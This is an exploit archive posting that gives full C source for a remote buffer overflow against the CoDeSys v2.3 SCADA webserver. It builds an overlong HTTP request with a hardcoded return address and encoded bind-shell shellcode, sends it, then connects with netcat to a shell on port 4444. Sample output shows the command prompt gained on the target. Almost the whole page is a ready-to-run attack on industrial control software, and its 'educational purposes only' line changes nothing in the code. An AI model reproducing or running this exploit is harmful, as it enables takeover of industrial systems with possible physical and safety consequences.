what you don't know can hurt you

CoDeSys 2.3 Buffer Overflow

CoDeSys 2.3 Buffer Overflow
Posted Dec 1, 2011
Authored by Celil Unuver

CoDeSys SCADA version 2.3 remote buffer overflow exploit that spawns a shell on port 4444.

tags | exploit, remote, overflow, shell
MD5 | 53b002f0c5f93c8a2166b9e404552a36

CoDeSys 2.3 Buffer Overflow

Change Mirror Download
/*
CoDeSys v2.3 Industrial Control System Development Software
Remote Buffer Overflow Exploit for CoDeSys Scada webserver
Author : Celil UNUVER, SignalSEC Labs
www.signalsec.com
Tested on WinXP SP1 EN
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!
--snip--

root@bt:~# ./codesys 192.168.1.36

CoDeSys v2.3 webserver Remote Exploit
by SignalSEC Labs - www.signalsec.com

[+]Sending payload to SCADA system!

[+]Connecting to port 4444 to get shell!
192.168.1.36: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.36] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\3S Software\CoDeSys V2.3\visu>

--snip--

*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define name "CoDeSys v2.3 webserver Remote Exploit"
#define PORT 8080
#define JUNK "A"

int main ( int argc, char *argv[] )
{


int sock, i, payload;

struct sockaddr_in dest_addr;

char *target = "target";

char request[1600], *ptr;


char ret[] = "\x67\x42\xa7\x71"; //ret - WINXP SP1 EN , mswsock.dll

char hellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x52\x46\x42\x4b\x58\x45\x54\x4e\x43\x4b\x38\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x36\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x56\x4b\x48\x43\x44\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x35\x4a\x56"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x55\x43\x45\x43\x34"
"\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x41\x31"
"\x4e\x35\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
"\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x56\x43\x36"
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x52"
"\x43\x39\x4d\x58\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x35\x41\x35\x41\x35\x41\x45\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x45\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a";

printf ("\n%s\n by SignalSEC Labs - www.signalsec.com\n", name);

if (argc < 2)
{
printf ("\nUsage: codesys [IP]\n");
exit (-1);
}

setenv (target, argv[1], 1);


memset (request, '\0', sizeof (request));
ptr = request;
strcat (request, "GET /");

for(i = 1; i < 776; i++){

strcat (request, JUNK);
}

strcat (request, ret);
strcat (request, hellcode);
strcat (request, " HTTP/1.1");
strcat (request, "\r\n");


if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("\nsocket error\n");
exit (1);
}

dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
perror("inet_aton problems");
exit (2);
}

memset( &(dest_addr.sin_zero), '\0', 8);

if (connect (sock, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
perror("\nCouldnt connect to target!\n");
close (sock);
exit (3);
}

payload = (send (sock, ptr, strlen(request), 0));
if (payload == -1) {
perror("\nCan not send the payload\n");
close (sock);
exit(4);
}
close (sock);
printf ("\n[+]Sending payload to SCADA system!\n");
sleep (1);
printf ("\n[+]Connecting to port 4444 to get shell!\n");
sleep (2);
system("nc -vv ${target} 4444 || echo 'Sorry exploit failed! Change RET address or be sure target is not patched!'");
exit (0);
}

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